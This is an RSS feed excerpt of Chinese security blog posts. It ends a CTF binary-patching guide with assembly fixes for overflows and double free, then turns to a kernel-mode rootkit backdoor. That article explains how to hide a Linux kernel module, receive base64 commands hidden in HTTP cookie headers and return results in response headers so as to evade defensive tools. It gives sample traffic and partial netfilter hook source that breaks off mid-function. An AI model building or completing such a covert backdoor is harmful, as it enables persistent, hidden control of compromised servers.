src="https://wechat2rss.xlab.app/img-proxy/?k=62078ac9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5JNRicrvRnU3Ar6bVrsAJvJGk2IcF0IaZSQfTcI4P0DicwEkLqFm2oZrA%2F640%3Fwx_fmt%3Dpng"/></p><p>f11处插入：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">mov rcx, [rbp-<span class="code-snippet__number">0x20</span>];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">sub</span> <span class="code-snippet__title">rcx</span>, 1</span>;</span></code><code><span class="code-snippet_outer">cmp rdx, rcx;</span></code><code><span class="code-snippet_outer">cmova rdx, rcx;</span></code></pre></section><p>修复后效果：</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="377" data-backw="578" data-ratio="0.6516264428121721" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="953" src="https://wechat2rss.xlab.app/img-proxy/?k=b08a4222&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5iaDUJqnzibmhFdHj6WXqlIbLaTnvM8w7LEybsZGVYV9oIbTnAkEu85uw%2F640%3Fwx_fmt%3Dpng"/></p><h3>4. 栈溢出通用patch：添加栈cookie</h3><p>有时候溢出代码异常复杂，只能试出offset和溢出缓冲区（利用FORWORD-2020 blacklist），这时候只能使用通用的patch方法，放大栈不一定彻底，加cookie更彻底，且可以当作通用栈溢出patch使用。</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="243" data-backw="578" data-ratio="0.41953125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=06dcdaf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5SwHumEU1tjEC73pO6YePktXsZGua3EqGRl9S90KDowZvkDR94b2OVg%2F640%3Fwx_fmt%3Dpng"/></p><p>db8处替换为：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">sub</span> <span class="code-snippet__title">rsp</span>, 0<span class="code-snippet__title">x48</span></span>;</span></code></pre></section><p>dbc处替换为:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">lea</span> <span class="code-snippet__selector-tag">rax</span>, <span class="code-snippet__selector-attr">[rbp - 0x48]</span>;</span></code></pre></section><p>dc0处插入:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">rcx, 0x4a584e424a584e00;//cookie值可自定义</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">[rbp - 0x8],  rcx;</span></span></code></pre></section><p>dcd处插入：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">rcx, 0x4a584e424a584e00;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">cmp</span> <span class="code-snippet__string">rcx, [rbp - 0x8];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">jz</span> <span class="code-snippet__string">0x401dd2;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">rdi, 1;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">rax, 60;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">syscall;</span></span></code></pre></section><h3>5. gets溢出</h3><p>nop掉gets调用，下方插入read系统调用实现读取。</p><h3>6. double free</h3><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="315" data-backw="578" data-ratio="0.5442834138486312" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1242" src="https://wechat2rss.xlab.app/img-proxy/?k=0269ee40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5E6JHJPOgNNXouygbIkicGPHmEzW08lW6ol1gc3bmJRJeeHjmy2ibA2HQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="564" data-backw="578" data-ratio="0.9750215331610681" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1161" src="https://wechat2rss.xlab.app/img-proxy/?k=7cce9b7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5e1R6n5Fmib5YYjLkZzhLSrT8E32A2HyBA239ibGt8NI8Fm2Lcr4xmmOQ%2F640%3Fwx_fmt%3Dpng"/></p><p>在1处插入指针非空的判断：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">cmp</span> rax, <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">jz</span> 0x400b9e;</span></code></pre></section><p>在2处插入指针置空逻辑:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">eax, [rbp-4];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">cdqe;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">shl</span> <span class="code-snippet__string">rax, 4;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">rdx, rax;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">lea</span> <span class="code-snippet__string">rax, [0x6020e0];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">dword ptr [rdx+rax], 0;</span></span></code></pre></section><h3>7. 堆溢出通用patch：索引堆头size字段</h3><p>（houseoforange）</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="484" data-backw="578" data-ratio="0.8361531611754229" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1123" src="https://wechat2rss.xlab.app/img-proxy/?k=2e45ff55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5TojHNqCRriaqbibO4pDm1IxicTx9bhadttNY2jTCiaOCw34L03yU1E0Jkg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="231" data-backw="578" data-ratio="0.3984375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=44e7e12f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5zKfvCMIXfMAB6ABRJWeRE3Q81bFhIIHVXJeL6NUcicuiagBib7bh0GEcA%2F640%3Fwx_fmt%3Dpng"/></p><p>上述位置插入以下代码：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">lea rax, [<span class="code-snippet__number">0x203068</span>];</span></code><code><span class="code-snippet_outer">mov rax, [rax];</span></code><code><span class="code-snippet_outer">mov rax, [rax+<span class="code-snippet__number">8</span>];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">sub</span> <span class="code-snippet__title">rax</span>, 8</span>;</span></code><code><span class="code-snippet_outer">mov rcx, [rax];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">sub</span> <span class="code-snippet__title">rcx</span>, 0<span class="code-snippet__title">x8</span></span>;</span></code><code><span class="code-snippet_outer">cmp [rbp-<span class="code-snippet__number">0x18</span>], rcx;</span></code><code><span class="code-snippet_outer">jbe <span class="code-snippet__number">0x10fe</span>;</span></code><code><span class="code-snippet_outer">mov [rbp-<span class="code-snippet__number">0x18</span>], rcx;</span></code></pre></section><p>patch效果：</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="494" data-backw="578" data-ratio="0.8535528596187175" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1154" src="https://wechat2rss.xlab.app/img-proxy/?k=81604dbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5bmckBGnukX6Yp0rSJCGdDZ35OCZfYNicygkf7fsR1e7Wd0rD2u1dwTg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247484249">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=02b48e16&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484249%26idx%3D1%26sn%3Dff86c9824f3fd9abaf7cf19210bde604%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 26 Jun 2021 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>一种HTTP隧道内核态远控的实现方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484230&amp;idx=1&amp;sn=7a0853cd0cc8f6ce58a86d57627eba9b</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>游望之</span> <span>2021-06-21 17:43</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=525203df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN8BU4cEkV3ibIMtzbmG5aLS6IXH0CLnxkeDIia7GTDcCG31s5EXPYgiaFhTsBcnLMpReRBWukfbFqE6w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2><strong>序言</strong></h2><p>当前护网蓝军主动防御工具越来越强，其他隧道如DNS、ICMP等因特征明显都有比较有效的检测防范方法，HTTP隧道因为是正常业务通道、数据比较难甄别而成为隐藏流量的首选，内存马已经成为常规武器。<br/> 在获得ROOT权限后，干掉主动防御软件可能不会那么容易，因为它可能并不是孤立而是分布式的、彼此间有联系，粗暴的直接停掉或杀掉防御进程会导致其他主机告警。因此，在此场景下想要持久化ROOT权限，内核远控的存在是有必要的。</p><h2><strong>设计思想</strong></h2><p>内核ROOKIT常用LKMD方式实现，多数主动防御工具都不具备内核模块的检测能力，而模块为防止被lsmod查看到，可使用“断链法”隐藏。HTTP服务是基于TCP协议的，我们可以使用某种特定的HTTP请求激活下发命令，然后执行结果会在该请求的响应中带出。比如设计如下交互，先看请求：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 192.168.122.136</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Pragma</span>: no-cache</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span>: no-cache</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Upgrade-Insecure-Requests</span>: 1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">cookie</span>: 91d1c532-b156-11eb-8e2c-dfb994043297;ZWNobyAxID4gL3RtcC8xMjM0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>将HTTP头中的cookie前面的UUID作为关键字，后跟远控命令的base64编码。内核远控在接收含有此关键字的TCP报文后（有效载荷大于0，即非SYN、SYN-ACK、ACK等握手应答包），解析并执行远控命令并在该HTTP响应（同样是TCP报文）的HTTP头中插入响应数据:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">EagleEye-TraceId: hello rootkit</span></span></code></pre></section><h2><strong>技术细节</strong></h2><p>Netfilter是Linux内核中的一个框架，它提供一个标准的接口，通过该接口能够方便的进行不同的网络操作，包括包过滤、网络地址转换和端口转换。Netfilter在内核中提供一组钩子hooks，通过这些hooks，内核模块可以向TCP/IP协议栈注册回调函数。我们可以基于netfilter实现上文所述的逻辑功能:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">struct</span> nf_hook_ops _prehook, _posthook;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">static</span> unsigned <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">watch_in</span>(<span class="code-snippet__params">unsigned <span class="code-snippet__keyword">int</span> hooknum,</span></span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">struct</span> sk_buff *skb,</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">in</span>,</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">out</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">           <span class="code-snippet__keyword">int</span> (*okfn</span>)(<span class="code-snippet__params"><span class="code-snippet__keyword">struct</span> sk_buff *</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">static</span> unsigned <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">watch_out</span>(<span class="code-snippet__params">unsigned <span class="code-snippet__keyword">int</span> hooknum,</span></span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">struct</span> sk_buff *skb,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">in</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">out</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> (*okfn</span>)(<span class="code-snippet__params"><span class="code-snippet__keyword">struct</span> sk_buff *</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">init_module</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/* Fill in our hook structure */</span></span></code><code><span class="code-snippet_outer">    _prehook.hook =  (nf_hookfn *)watch_in;         <span class="code-snippet__comment">/* Handler function */</span></span></code><code><span class="code-snippet_outer">    _prehook.hooknum  = NF_INET_PRE_ROUTING; <span class="code-snippet__comment">/* First hook for IPv4 */</span></span></code><code><span class="code-snippet_outer">    _prehook.pf       = PF_INET;</span></code><code><span class="code-snippet_outer">    _prehook.priority = NF_IP_PRI_FIRST;   <span class="code-snippet__comment">/* Make our function first */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    _posthook.hook =   (nf_hookfn *)watch_out;      <span class="code-snippet__comment">/* Handler function */</span></span></code><code><span class="code-snippet_outer">    _posthook.hooknum  = NF_INET_POST_ROUTING; <span class="code-snippet__comment">/* First hook for IPv4 */</span></span></code><code><span class="code-snippet_outer">    _posthook.pf       = PF_INET;</span></code><code><span class="code-snippet_outer">    _posthook.priority = NF_IP_PRI_FIRST;   <span class="code-snippet__comment">/* Make our function first */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">if</span> LINUX_VERSION_CODE &gt;= KERNEL_VERSION(4,13,0)</span></span></code><code><span class="code-snippet_outer">  nf_register_net_hook(&amp;init_net, &amp;_prehook);</span></code><code><span class="code-snippet_outer">  nf_register_net_hook(&amp;init_net, &amp;_posthook);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">else</span></span></span></code><code><span class="code-snippet_outer">  nf_register_hook(&amp;_prehook);</span></code><code><span class="code-snippet_outer">  nf_register_hook(&amp;_posthook);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">cleanup_module</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">if</span> LINUX_VERSION_CODE &gt;= KERNEL_VERSION(4,13,0)</span></span></code><code><span class="code-snippet_outer">  nf_unregister_net_hook(&amp;init_net, &amp;_prehook);</span></code><code><span class="code-snippet_outer">  nf_unregister_net_hook(&amp;init_net, &amp;_posthook);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">else</span></span></span></code><code><span class="code-snippet_outer">  nf_unregister_hook(&amp;_posthook);</span></code><code><span class="code-snippet_outer">  nf_unregister_hook(&amp;_prehook);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>上述代码逻辑清楚很容易理解，在模块装载时在网络层注册勾子，卸载时解除勾子，watch_in处理输入报文，相应的watch_out处理输出报文。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span> watch_in(<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span> hooknum,</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">struct</span> sk_buff *skb,</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">in</span>,</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">out</span>,</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">int</span> (*okfn)(<span class="code-snippet__keyword">struct</span> sk_buff *))</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">struct</span> iphdr *ip_hdr = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(!skb)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> NF_ACCEPT; </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ip_hdr = (<span class="code-snippet__keyword">struct</span> iphdr *)skb_network_header(skb);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span>(!ip_hdr)  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(ip_hdr-&gt;protocol != IPPROTO_TCP)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">struct</span> tcphdr *tcph = tcp_hdr(skb);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(skb-&gt;len == ip_hdr-&gt;ihl*<span class="code-snippet__number">4</span> + tcph-&gt;doff*<span class="code-snippet__number">4</span>)<span class="code-snippet__comment">//TCP握手包</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//访问tcp payload的数据时，要线性化，否则数据不全</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__number">0</span> != skb_linearize(skb)) </span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    tcph = tcp_hdr(skb);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">char</span> * data = (<span class="code-snippet__keyword">char</span> *)(tcph) + tcph-&gt;doff * <span class="code-snippet__keyword">sizeof</span>(<span class="code-snippet__keyword">int</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">char</span> cookie[<span class="code-snippet__number">1024</span>] = {<span class="code-snippet__number">0</span>};</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(getCookie(data, iptot_len - tcph-&gt;doff * <span class="code-snippet__keyword">sizeof</span>(<span class="code-snippet__keyword">int</span>), cookie, <span class="code-snippet__keyword">sizeof</span>(cookie) - <span class="code-snippet__number">1</span>) == <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(strncmp(cookie, KEYWORD, <span class="code-snippet__keyword">sizeof</span>(KEYWORD) - <span class="code-snippet__number">1</span>) != <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>解析TCP载荷的过程中，要剥掉IP头和TCP头，注意skb一定要先线性化，否则报文内存是不连续的，不能按照指针加偏移量的方式访问。<br/> 如何查找HTTP请求对应的HTTP响应报文？TCP链路，可以通过源端口和目的端口这个二元组一一对应。在watch_in中记下该HTTP请求的端口信息，再在watch_out中进行匹配查找，找到后注入自定义内容。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span> watch_out(<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span> hooknum,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">struct</span> sk_buff *skb,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">in</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">struct</span> net_device *<span class="code-snippet__keyword">out</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> (*okfn)(<span class="code-snippet__keyword">struct</span> sk_buff *))</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">struct</span> iphdr *ip_hdr = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(!skb)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> NF_ACCEPT; </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ip_hdr = (<span class="code-snippet__keyword">struct</span> iphdr *)skb_network_header(skb);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span>(!ip_hdr)  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(ip_hdr-&gt;protocol != IPPROTO_TCP)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">struct</span> tcphdr *tcph = tcp_hdr(skb);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(!tcph-&gt;psh)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">short</span> src_port = ntohs(tcph-&gt;source);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">short</span> dst_port = ntohs(tcph-&gt;dest);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">struct</span> list_head * pos, * pos1;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">struct</span> C2Frame * frame = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> found = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    spin_lock(&amp;_lock);</span></code><code><span class="code-snippet_outer">    list_for_each_safe(pos, pos1, &amp;_c2_list_head)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        frame = list_entry(pos, <span class="code-snippet__keyword">struct</span> C2Frame, list);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span>(frame-&gt;src_port == dst_port &amp;&amp; frame-&gt;dst_port == src_port)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            list_del((<span class="code-snippet__keyword">struct</span> list_head *)pos);</span></code><code><span class="code-snippet_outer">            found = <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span 